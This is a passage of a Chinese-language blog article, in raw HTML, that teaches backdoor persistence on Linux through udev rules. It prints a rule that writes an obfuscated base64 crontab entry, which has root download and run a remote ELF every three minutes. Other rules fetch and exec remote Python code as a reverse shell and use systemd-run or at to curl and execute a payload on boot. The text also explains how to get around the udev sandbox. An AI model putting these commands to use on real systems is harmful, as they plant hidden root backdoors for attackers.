data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><span leaf="">设置下载服务器</span><span style="display: none;"></span></h5><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019054" class="rich_pages wxw-img" data-ratio="0.24537037037037038" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=c0fe6963&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJ2oRSdk0wodrFRnoM9IIgicZzBOnd4KKNw0uWQeS0HD8xpWdq5Q8r0Vw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><span leaf="">配置 udev 规则</span><span style="display: none;"></span></h5><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">既然我们希望的是系统重启后会自动执行，可以进行如下配置</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">ACTION==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;add&#34;</span></span><span leaf="">, SUBSYSTEM==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;dmi&#34;</span></span><span leaf="">, \</span><span leaf=""><br/></span><span leaf="">RUN+=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/sh -c &#39;echo \&#34;Ki8zICogKiAqICogcm9vdCAvYmluL3NoIC1jICJjdXJsIC1zZiBodHRwOi8vMTAuMjExLjU1LjE1OjgwODAvbm9wLXRlc3QuZWxmIC1vIC90bXAvbm9wLXRlc3QuZWxmICYmIGNobW9kICt4IC90bXAvbm9wLXRlc3QuZWxmICYmIC90bXAvbm9wLXRlc3QuZWxmIgoK\&#34; | base64 -d &gt;&gt; /etc/crontab&#39;&#34;</span></span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019061" data-ratio="0.2916666666666667" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5ece9ee2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJM5UjcbS6p8QeB8hLWIjdFedRxibKhQ5Ucy6VcdmRsO9ibxsRf6Xia8nFQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">重启电脑</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019060" class="rich_pages wxw-img" data-ratio="0.20555555555555555" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=7b0198ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJ6tzOXbWogP61ic91GBNJox24zCz0eSlux0X7Y7yXLyiaBwqiczuOt3VOA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">计划任务成功写入，等待几分钟后</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019062" class="rich_pages wxw-img" data-ratio="0.4425925925925926" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=ffda5cdd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJLKmodT3dLtV980X9BTAVEcZbBt1w57k7On2MOsqspiaAMiat4vlIQjhw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">成功完成持久化控制</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">当然也可以写入 ssh key 等方式来进行持久化</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">直接反弹 shell</span><span style="display: none;"></span></h4><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019063" class="rich_pages wxw-img" data-ratio="0.47314814814814815" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=d6575aee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJu8Gwm01cXMs5vNOyWkqcGwVkTlURNXgk4aYTQykCyxN8Zr2DGfa9rg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">python3 -c </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;import sys;import ssl;u=__import__(&#39;urllib&#39;+{2:&#39;&#39;,3:&#39;.request&#39;}[sys.version_info[0]],fromlist=(&#39;urlopen&#39;,));r=u.urlopen(&#39;<a href="http://10.211.55.15:8080/HyiFfPWD" target="_blank">http://10.211.55.15:8080/HyiFfPWD</a>&#39;, context=ssl._create_unverified_context());exec(r.read());&#34;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">udev  配置文件内容如下</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">ACTION==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;add&#34;</span></span><span leaf="">, SUBSYSTEM==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;block&#34;</span></span><span leaf="">, \</span><span leaf=""><br/></span><span leaf="">RUN+=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/usr/bin/env python3 -c \&#34;import sys;import ssl;u=__import__(&#39;urllib&#39;+{2:&#39;&#39;,3:&#39;.request&#39;}[sys.version_info[0]],fromlist=(&#39;urlopen&#39;,));r=u.urlopen(&#39;<a href="http://10.211.55.15:8080/HyiFfPWD" target="_blank">http://10.211.55.15:8080/HyiFfPWD</a>&#39;, context=ssl._create_unverified_context());exec(r.read());\&#34;&#34;</span></span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019059" class="rich_pages wxw-img" data-ratio="0.0712962962962963" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=975d8314&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJibJ8KmdqoRicDssVP4Ix7rZgG82jYKdWYydJTib4J7FiaUx8ClX3Whia69Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">经过一系列测试，发现直接反弹 shell 并不行</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">查询 archlinux 的文档看到如下描述</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://man.archlinux.org/man/udev.7.en" target="_blank">https://man.archlinux.org/man/udev.7.en</a></span></p></blockquote><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019068" data-ratio="0.549074074074074" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=21cb772a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJFickbNGGI2M8hETs2gZUnlTEyPsWGEF7hZTKhYkuHs5hysbZ5qPKSdA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这只能用于非常短时间运行的前台任务。长时间运行事件进程可能会阻止此设备或从属设备的所有进一步事件。 请注意，由于systemd-udevd. service上强制使用默认沙箱，因此不允许在udev规则中运行访问网络或装载/卸载文件系统的程序。 不允许启动守护进程或其他长时间运行的进程;分叉的进程，无论是否分离，都将在事件处理完成后无条件终止。为了从udev规则激活长时间运行的进程，请提供一个服务单元，并使用UNOEMD_WANTS设备属性从udev设备中拉入该服务单元。有关详细信息，请参见systemd.device（5）。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">解决这个问题有几种方案</span></p><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><span leaf="">通过 Systemd 服务委托任务</span><span style="display: none;"></span></h5><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">创建 Systemd 服务</span></strong><span leaf="">（例如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/systemd/system/device-handler.service</span></code><span leaf="">）：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">[Unit]</span><span leaf=""><br/></span><span leaf="">Description=Handle device event</span><span leaf=""><br/></span><span leaf="">After=network-online.target</span><span leaf=""><br/></span><span leaf="">Wants=network-online.target</span><span leaf=""><br/></span><span leaf="">Requires=network-online.target</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">[Service]</span><span leaf=""><br/></span><span leaf="">Type=oneshot</span><span leaf=""><br/></span><span leaf="">User=root</span><span leaf=""><br/></span><span leaf="">Environment=PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/snap/bin</span><span leaf=""><br/></span><span leaf="">ExecStart=/opt/udev-test.sh</span><span leaf=""><br/></span><span leaf="">TimeoutStartSec=120</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">[Install]</span><span leaf=""><br/></span><span leaf="">WantedBy=multi-user.target</span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">编写服务脚本</span></strong><span leaf=""> (/opt/udev-test.sh)</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019065" class="rich_pages wxw-img" data-ratio="0.24351851851851852" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=8a654405&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJrW7S6sbY4254qQgs6OH2GIq5TqakLcK0Qnsj6Bic8H5dic7IVU1LdV8Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">修改 udev 规则</span></strong><span leaf="">，触发服务：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">ACTION==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;add&#34;</span></span><span leaf="">, SUBSYSTEM==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;block&#34;</span></span><span leaf="">, TAG+=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;systemd&#34;</span></span><span leaf="">, ENV{SYSTEMD_WANTS}=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;device-handler.service&#34;</span></span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019067" class="rich_pages wxw-img" data-ratio="0.10555555555555556" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=6a4cc910&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJm62s9X3gfqLOmPhqD6Yg9yAZPWE3CZ7Teibib9yjrw39f7eH0q6anwrQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">重新启动系统</span></strong></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019066" class="rich_pages wxw-img" data-ratio="0.3925925925925926" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=3b0fbc1d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJkoOBdhArkGx3d8Xoic38ib90PicfU4CiaP2mAYBQuGBfS2VyCjQCEzuYpQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">成功获取到反弹 shell</span></p><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><span leaf="">通过外部程序反弹shell</span><span style="display: none;"></span></h5><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">可以通过 at 来完成外部脚本执行，默认 Centos 和 Rocky Linux 中存在 at ，Ubuntu 中需要安装一下</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">参考 <a href="https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/" target="_blank">https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/</a></span></p></blockquote><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">ACTION==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;add&#34;</span></span><span leaf="">, SUBSYSTEM==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;net&#34;</span></span><span leaf="">, RUN+=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/usr/bin/at -M -f /opt/udev-test.sh now&#34;</span></span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019064" data-ratio="0.11481481481481481" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=22d84215&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJzOf1M5hAuJUDe3TaBtF1UBWHDSPCYa1LaN7YHU5UFzqyEqDfPiaTyrA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">重启操作系统</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019072" class="rich_pages wxw-img" data-ratio="0.4222222222222222" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=af49778c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJhpaTbyOibXFkWh9dkpTAiaSSNVQyJrYWsdm3OKjyibSGicFDwGV7NE5uMQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">成功获取到反弹 shell</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">也可以通过 systemd-run 来启动一个临时的 systemd 服务单元</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">ACTION==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;add&#34;</span></span><span leaf="">, SUBSYSTEM==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;net&#34;</span></span><span leaf="">, \</span><span leaf=""><br/></span><span leaf="">  RUN+=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/systemd-run --unit=download-exec-task --after=network-online.target --wants=network-online.target /bin/bash -c &#39;curl -sL <a href="http://10.211.55.15:8081/nop-test.elf" target="_blank">http://10.211.55.15:8081/nop-test.elf</a> -o /tmp/nop-test.elf &amp;&amp; chmod +x /tmp/nop-test.elf &amp;&amp; /tmp/nop-test.elf&#39;&#34;</span></span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019069" class="rich_pages wxw-img" data-ratio="0.18518518518518517" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=b8ca7bd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJUg1mX7gBfSLSv5w1g3tKicQjGQXsdUQg3MRTSJjG6GHoNia6I9MyibOGA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">重启系统</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">ACTION==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;add&#34;</span></span><span leaf="">, SUBSYSTEM==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;net&#34;</span></span><span leaf="">, \</span><span leaf=""><br/></span><span leaf="">  RUN+=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/systemd-run --unit=download-exec-task --collect --property=After=network-online.target --property=Wants=network-online.target --property=StandardOutput=journal /bin/bash -c &#39;curl -sL <a href="http://10.211.55.15:8081/nop-test.elf" target="_blank">http://10.211.55.15:8081/nop-test.elf</a> -o /tmp/nop-test.elf &amp;&amp; chmod +x /tmp/nop-test.elf &amp;&amp; /tmp/nop-test.elf&#39;&#34;</span></span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019071" data-ratio="0.14907407407407408" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1080" 